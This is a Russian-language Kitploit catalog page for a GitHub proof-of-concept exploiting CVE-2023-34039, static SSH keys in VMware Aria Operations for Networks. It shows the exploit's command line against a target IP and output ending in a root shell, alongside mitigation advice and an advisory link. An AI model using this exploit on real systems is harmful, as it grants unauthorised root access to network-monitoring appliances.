Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/sinsinology/cve-2023-34039
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеБезопасность облачных средИнструмент Удаленного Доступа
GitHubsinsinology/cve-2023-34039

CVE-2023-34039

VMWare Aria Operations for Networks (vRealize Network Insight) RCE через статический SSH-ключ (CVE-2023-34039)

Репозиторий
97312 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-34039

POC для CVE-2023-34039: VMWare Aria Operations for Networks (vRealize Network Insight) RCE со статическим SSH-ключом

Технический анализ

Анализ первопричины уязвимости можно найти в моём блоге:

https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/

poc

Краткое описание

VMWare Aria Operations for Networks (vRealize Network Insight) с версии 6.0 по 6.10 не перегенерировал SSH-ключи для пользователей support и ubuntu, что позволяло атакующему с доступом по SSH получить доступ к root-оболочке этого продукта.

Эта проблема была сообщена в VMWare Харшем Джайсвалом (@rootxharsh) и Рахулом Майни (@iamnoooob) из ProjectDiscovery Research

Я просто написал эксплойт, если это можно так назвать, потому что по сути это обёртка над ssh-командой.

Использование

root@kitploit:~
python CVE-2023-34039.py --target 192.168.1.16
(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)

(*) Exploit by Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)

(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector

(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform

(*) Trying key: keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform


********************************** ATTENTION **********************************
 NTP Service is not healthy.
 IMPACT: It may affect the proper working of other services.
 ACTION: Restore the service using 'ntp' CLI command.
********************************** ATTENTION **********************************
support@vrni-platform-release:~$ sudo -i
root@vrni-platform-release:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vrni-platform-release:~# hostname
vrni-platform-release
root@vrni-platform-release:~#

Меры по смягчению последствий

Обновитесь до последней версии или примите меры по смягчению угрозы, следуя инструкциям в Progress Advisory

  • https://www.vmware.com/security/advisories/VMSA-2023-0018.html

Подписывайтесь на нас для получения дополнительных исследований в области безопасности:

  • SinSinology
  • SummoningTeam

Отказ от ответственности

Это программное обеспечение создано исключительно для целей академических исследований и разработки эффективных методов защиты и не предназначено для использования при атаках на системы, за исключением случаев явного разрешения. Сопровождающие проекта не несут ответственности за неправомерное использование данного программного обеспечения. Используйте ответственно.

Скачать инструмент